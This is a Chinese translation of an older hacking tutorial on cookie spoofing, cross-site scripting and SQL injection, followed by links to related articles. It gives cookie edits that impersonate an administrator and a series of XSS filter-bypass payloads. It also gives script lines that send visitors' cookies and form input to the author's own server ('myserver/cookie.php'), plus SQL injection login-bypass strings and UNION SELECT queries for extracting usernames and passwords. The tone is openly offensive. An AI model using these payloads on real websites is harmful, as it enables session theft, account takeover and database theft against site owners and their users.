XSS & SQL注入
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
作者: CyberPhreak
翻譯: 黯魂 [S.S.T]
~介紹
在這篇文章中我將說(shuō)明所有關(guān)于XSS以及更多相關(guān)的知識(shí).通過這篇文檔,我希望能讓你明白什么是XSS,為什么使用XSS,以及怎樣使用XSS.一旦你學(xué)會(huì)了,你將需要發(fā)揮自己的創(chuàng)造力,因?yàn)榇蠖鄶?shù)人都修補(bǔ)了簡(jiǎn)單的XSS漏洞.但是他們所忘記做的是修補(bǔ)比XSS的一個(gè)字符串更多的漏洞,并且php中特殊安全機(jī)制被用來(lái)防御XSS,而取代他們自己的方法.同時(shí)我將闡述的不僅僅是XSS,而是所有的web安全.
XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX
~什么是cookie
cookie就是一塊數(shù)據(jù).一旦你瀏覽一個(gè)站點(diǎn)并且注冊(cè)一個(gè)帳號(hào),一個(gè)cookie就被設(shè)置以記錄你的信息.cookie僅僅保存你登錄的信息以使站點(diǎn)檢測(cè)以前你是否登錄過,如果不是,它就會(huì)檢測(cè)你的用戶名和密碼的正確性,然后登錄.比如說(shuō)在一個(gè)店鋪,你買了一張票,他們就會(huì)給你一張卡.因此你可以進(jìn)進(jìn)出出而不用每次都買票.而cookies比你所能看到的要復(fù)雜得多.店鋪只能記住你一晚上,但是cookies卻能記住你一輩子.
~警告&欺騙
那么現(xiàn)在你知道了cookie是什么...你如何看待它們?事實(shí)上,cookie編輯(修改)是最簡(jiǎn)單的方法之一.只要有一個(gè)瀏覽器,你就能夠查看和編輯cookies,并且只需要一些基礎(chǔ)的javascript知識(shí).打開你的瀏覽器然后隨便去一個(gè)網(wǎng)站吧,登錄...現(xiàn)在輸入javascript:alert(document.cookie).這時(shí)你應(yīng)該可以看見一個(gè)用戶名和密碼.然而大多數(shù)站點(diǎn)現(xiàn)在都不使用cookies,而使用sessions.很遺憾,sessions不能被修改(服務(wù)端可以),不像cookies,一旦你修改了一個(gè)cookie你就可以欺騙你自己.現(xiàn)在讓我們開始欺騙...假設(shè)你看到了一個(gè)警告框并且看到一些像這樣的內(nèi)容:
strusername=cnsst;strpassword=cnsst
此時(shí)假設(shè)你知道’dog’是一個(gè)管理員,可是你不知道密碼. 由于脆弱的安全機(jī)制你不需要密碼:javascript:void(document.cookie="strusername=dog")
現(xiàn)在輸入:javascript:alert(document.cookie).那幾乎非常接近c(diǎn)ookie修改了...
~什么是XSS
XSS,或者CSS,不管你更喜歡怎樣稱呼它,XSS(CSS)都代表著跨站腳本.基本上意思就是你能以任何方式注入腳本,來(lái)讓它完成你想要做的.通過XSS你也可以截獲輸入信息,像用戶名,密碼以及cookies.這都將被討論,所以接下來(lái)將會(huì)有很多例子,我們這篇文章應(yīng)該能夠幫你在XSS上發(fā)揮自己的創(chuàng)造力.
~為什么使用XSS
很明顯的問題,通過XSS你能在客戶端和服務(wù)器端執(zhí)行任何類型的腳本.然而XSS卻不僅僅局限于執(zhí)行腳本上,還能截獲輸入.輸入類似:<input name="name" type="name">
你通過XSS截獲輸入,然后通過一個(gè)秘密文件把截獲到的信息發(fā)送向你的站點(diǎn).而這一切絕不是XSS所能實(shí)現(xiàn)的全部作用.XSS還能截獲cookies.Cookies保存著有價(jià)值的信息,像用戶名,密碼等等.
~讓我們開始吧…
我假定你知道html和javascript,而php知識(shí)也有幫助,但卻不是必要的.讓我們從這個(gè)php腳本開始.
XSS--跨站腳本
<html>
<body>
<form action="" method="GET">
<!-- 我使用的GET方法,因?yàn)楫?dāng)我們利用的時(shí)候更容易練習(xí). -->
Script: <input name="name" type="name">
<input type="submit" value="submit">
</form>
</body>
</html>
<?php
$name = $_GET[’name’];
echo("Hello $name");
?>
OK,我們應(yīng)該都知道上面的代碼有什么用...這是一個(gè)非常奇怪的腳本,沒有一個(gè)人會(huì)在自己的站點(diǎn)上使用它(至少我沒見過),但是它對(duì)初學(xué)者理解原理卻真的很有用.來(lái)看看我輸入后所得到的信息:
cnsst
"Hello cnsst!"
引號(hào)內(nèi)的信息就是輸出信息..注意看,現(xiàn)在我輸入:
<script>alert(document.cookie)</script>
那么它將會(huì)彈出document.cookie!所以它是易受XSS攻擊的!
現(xiàn)在我們已經(jīng)對(duì)XSS有了一點(diǎn)了解,那讓我們理解它.首先,腳本做的是取得你的輸入然后粘貼它.嗯...也就是說(shuō)我們能輸入任何數(shù)據(jù).所以?等等...任何數(shù)據(jù)...好的,你想問客戶端和服務(wù)器端分別有什么語(yǔ)言? 讓我告訴你,基本上客戶端語(yǔ)言是建立在你客戶端瀏覽器之上的:JavaScript,html, VBScript等等...
服務(wù)器端語(yǔ)言在另一邊,不是建立在你客戶端之上的,而建立在服務(wù)器之上,有php,asp等等...
已有一些方法注入php,稍后我將說(shuō)明.現(xiàn)在先想想這怎樣才能對(duì)我們有幫助?注入javascript?簡(jiǎn)單.比如說(shuō)你正在編寫一個(gè)網(wǎng)站程序,由于是你的站點(diǎn),所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因?yàn)閄SS允許你讓網(wǎng)站運(yùn)行你想要運(yùn)行的任何腳本.
讓我們看一個(gè)稍微復(fù)雜點(diǎn)的例子!
假設(shè)你已經(jīng)輸入了<script>alert(document.cookie)</script>,并且回顯是這樣的:
scriptalert(document.cookie)/script
或者可能是這樣的:
scriptalertdocument.cookie/script
可以看出更難利用了...不過有很多方法使用XSS,這只是其中一種.而且是其中最爛的方法之一.你看到當(dāng)中的"<>"都被空字符" "替換了.
讓我們繼續(xù)利用:
<<script>>alert(document.cookie)<</script>>
你的輸出將彈出document.cookie.
現(xiàn)在來(lái)看看更狠的:
<<script>>alert((document.cookie))<<//script>>
他們可能會(huì)替換所有的,或者只是"<>".所以如果一對(duì)不能得以執(zhí)行,另一對(duì)就可以.現(xiàn)在,如果你看到:
scriptalertdocument.cookie/script
或者 <<<script>>>alert(document.cookie)<<</script>>>
他們可能替換2對(duì)來(lái)欺騙你,或者替換一些字母.試著用你自己的方法來(lái)利用...你輸入:
<script>alert(document.cookie)</script>
輸出像這樣:srplert(document.cookie)srp
仔細(xì)觀察,你就會(huì)發(fā)現(xiàn)document.cookie中并沒有什么被替換.為什么呢? 因?yàn)樗麄儾⒉磺宄阆胍猘lert什么,以及你想做什么.所以他們只是猜測(cè),就只阻止了"<>"以及script部分.怎么繞過?看看這個(gè):
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
所有重復(fù)多余的部分剛好被替換!現(xiàn)在讓我們來(lái)點(diǎn)更高級(jí)的!
這次他們使用的仍然是替換,但是卻檢查了整個(gè)字符串!例如:
<script>alert(document.cookie)</script>
輸出將是:
scriptalert(document.cookie)script
看到這,你激動(dòng)地說(shuō),"我知道該怎么做了!" OK,讓我們按照你的方法來(lái)重新構(gòu)造:
<<script>>alert(document.cookie)<</script>>
輸出:scriptalert(document.cookie)script. 這時(shí)你可能會(huì)繼續(xù)增加更多的<>.可是,他們替換了任何"<>",無(wú)論你輸入多少個(gè)...看到我說(shuō)"任何"了嗎?使用下面這個(gè)例子:
<
script
>
alert
(
document
.
cookie
)
<
/
script
>
看看它,它沒有替換"<>",它替換代碼關(guān)鍵字.所以即便你寫的是一句沒有"<>"的代碼,將仍然被替換,這就是我們?yōu)槭裁催@樣寫的原因.假如對(duì)方使用更嚴(yán)格的標(biāo)準(zhǔn),替換任何類型的代碼,甚至是"alert"! 我們又該怎么改進(jìn)呢?看看這個(gè):
<
s
c
r
i
p
t
>
a
l
e
r
t
(
d
o
c
u
m
e
n
t
.
c
o
o
k
i
e
)
<
/
s
c
r
i
p
t
/
>
這下應(yīng)該可以了,但是如果他們?nèi)匀惶鎿Q"<",你可以增加2對(duì)"<< >>"(并且你可以用任何字符取代document.cookie)
還有更多我可以演示的替換,但是我教你的只是想讓你發(fā)揮自己的創(chuàng)造力.
現(xiàn)在讓我來(lái)講講其他XSS方法.前面我們已經(jīng)討論了客戶端XSS,那么現(xiàn)在就來(lái)看看服務(wù)器端XSS.
首先讓我說(shuō)明它們之間的區(qū)別.客戶端是從你瀏覽器經(jīng)解釋語(yǔ)言,如JavaScript (JS) VBScript (VBS)等而看到的.服務(wù)器端XSS是通過來(lái)自服務(wù)器端的語(yǔ)言,如php,asp等的XSS.客戶端通過瀏覽器查看,服務(wù)器端通過服務(wù)器查看.
我們已經(jīng)學(xué)會(huì)了怎樣構(gòu)造客戶端XSS,而構(gòu)造服務(wù)器端我們必須注入腳本到服務(wù)器上.要完成這個(gè),我們需要找到一個(gè)像任何XSS的腳本,但是這個(gè)腳本能夠保存你的XSS到服務(wù)器中.現(xiàn)在,假設(shè)你在一個(gè)網(wǎng)站上發(fā)表了一篇文章,現(xiàn)在要做的是取代文章,用XSS,為什么我們應(yīng)該用JavaScript?為什么不用php?但是先讓我給你看點(diǎn)東西.
document.forms(0).action ="http://myserver/myscript.php
這既能在服務(wù)器端也能在客戶端,沒有關(guān)系.因此你的腳本將復(fù)制他們所輸入的信息到那個(gè)表單中,并保存在我們站點(diǎn)上的一個(gè)*.txt文件中.
再次假設(shè)你在網(wǎng)站上注冊(cè)了一個(gè)帳號(hào),并且可以自定義資料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空間可以存放指向自定義內(nèi)容的鏈接,你可以輸入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
這將截獲訪問我們資料的用戶的cookie.這可以用于任何地方而不僅僅在資料上,它只是一個(gè)例子.
有時(shí)一個(gè)站點(diǎn)會(huì)回顯你的UserAgent和Referer...現(xiàn)在讓我們?cè)贒OS提示符下或者命令行窗口中試一試一些XSS,
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
Referer: <script>alert(document.cookie)</script>
~什么是SQL注入
SQL注入,網(wǎng)站中最大的安全問題之一.那么到底什么是SQL注入?其實(shí)也就是注入SQL.現(xiàn)在讓我們來(lái)挖掘不同級(jí)別的SQL漏洞.假設(shè)你有一個(gè)像這樣的登錄頁(yè)面:
<html>
<body>
<form action="" method="POST">
Username: <input name="name" type="name">
Password: <input name="password" type="password">
<input type="submit" type="submit" value="Submit">
</form>
</body>
</html>
這里面有一個(gè)XSS漏洞,但是不用擔(dān)心它,沒有辦法猜出或者破解出密碼.所以,我們?cè)撛趺崔k?SQL注入!
最簡(jiǎn)單的攻擊是在用戶名和密碼那里輸入"’".如果沒有保護(hù)機(jī)制,此時(shí)你應(yīng)該得到一個(gè)錯(cuò)誤信息.如果你得到了,它就是極易受攻擊的.可是錯(cuò)誤信息毫無(wú)價(jià)值,除非你知道如何利用它.所以,我會(huì)給你一個(gè)你可以使用的注入列表,以便在你得到一個(gè)單引號(hào)的錯(cuò)誤信息時(shí)使用.
’=’
’OR 1=1--
’OR a=a--
’OR’
自從人們?cè)鰪?qiáng)安全性以后,現(xiàn)在這些注入就很難發(fā)揮作用了,但是下面這個(gè)列表卻是很多人在安全列表里沒有注意到的:
’OR’’=’
’OR"="
’OR’="
’OR ’="
’OR "=’
’OR ’’=’
’OR ’=’’
’OR "=’’
’OR ’’="
~
現(xiàn)在讓我說(shuō)明UNION ALL SELECT聲明,這將選出數(shù)據(jù)庫(kù)中的一個(gè)表...所顯示的內(nèi)容取決于你所選擇的列.
UNION ALL SELECT username,password FROM users
這個(gè)查詢語(yǔ)句將執(zhí)行,但是….如果毫無(wú)作用呢?
UNION ALL SELECT username,password FROM users WHERE username=’OR "=’
AND password=’OR "=’
你可能使用其他字符來(lái)替代’OR "=’以注入存在的注入點(diǎn).可是首先考慮一下,你是怎么知道表名的?實(shí)際上,你發(fā)現(xiàn)了一個(gè)SQL漏洞,它給了你錯(cuò)誤信息,而錯(cuò)誤信息包含了表名.
一旦你發(fā)現(xiàn)了漏洞,你就會(huì)按照習(xí)慣去用類似’OR "=’的方法去進(jìn)行注入,以得到表名.有時(shí)候你想從表中查詢一些有用的數(shù)據(jù),你卻不得不選擇所有的表,因?yàn)槟悴⒉恢浪樵兊臄?shù)據(jù)在哪個(gè)表里.下面的例子中存在20個(gè)不同表名的表,你試圖查詢一個(gè)ip的列表:
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip=’OR’’="
現(xiàn)在你看到這個(gè)了嗎?(我確信你已經(jīng)看到了)
http://example.com/index.php?article=34
那將瀏覽Id為34的文章...讓我們用"’"替換34:
http://example.com/index.php?article=’
現(xiàn)在,記住我所說(shuō)的,大多數(shù)人都沒有意識(shí)到’所帶來(lái)的不安全性,你總是能夠嘗試不同的注入方法,這里是一些例子:
http://example.com/index.php?article=’
http://example.com/index.php?article=’=’
http://example.com/index.php?article=’OR 1=1--
http://example.com/index.php?article=’OR a=a--
http://example.com/index.php?article=’OR ’="
http://example.com/index.php?article=’OR "=’
http://example.com/index.php?article=’OR ’’=’
http://example.com/index.php?article=’OR ’=’’
http://example.com/index.php?article=’OR’’=’
http://example.com/index.php?article=’OR"’=’
http://example.com/index.php?article=’OR"’’=’
盡情發(fā)揮自己的創(chuàng)造力!
相關(guān)文章
Iptables防火墻limit模塊擴(kuò)展匹配規(guī)則詳解
這篇文章主要為大家介紹了Iptables防火墻limit模塊擴(kuò)展匹配規(guī)則詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-08-08
關(guān)于動(dòng)網(wǎng)的cookie瀉露站點(diǎn)絕路徑的問題
關(guān)于動(dòng)網(wǎng)的cookie瀉露站點(diǎn)絕路徑的問題...2006-09-09
10個(gè)好用的Web日志安全分析工具推薦小結(jié)
一款簡(jiǎn)單好用的Web日志分析工具,可以大大提升效率,目前業(yè)內(nèi)日志分析工具比較多,今天推薦十個(gè)比較好用的Web日志安全分析工具。感興趣的同學(xué)可以收藏一下2020-06-06

